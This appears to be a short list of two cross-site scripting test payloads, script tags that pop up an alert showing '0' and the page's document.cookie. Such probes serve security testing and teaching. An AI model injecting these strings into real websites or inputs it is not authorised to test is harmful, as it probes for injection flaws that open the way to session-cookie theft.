<script>alert(0)</script>
<script>alert(document.cookie)</script>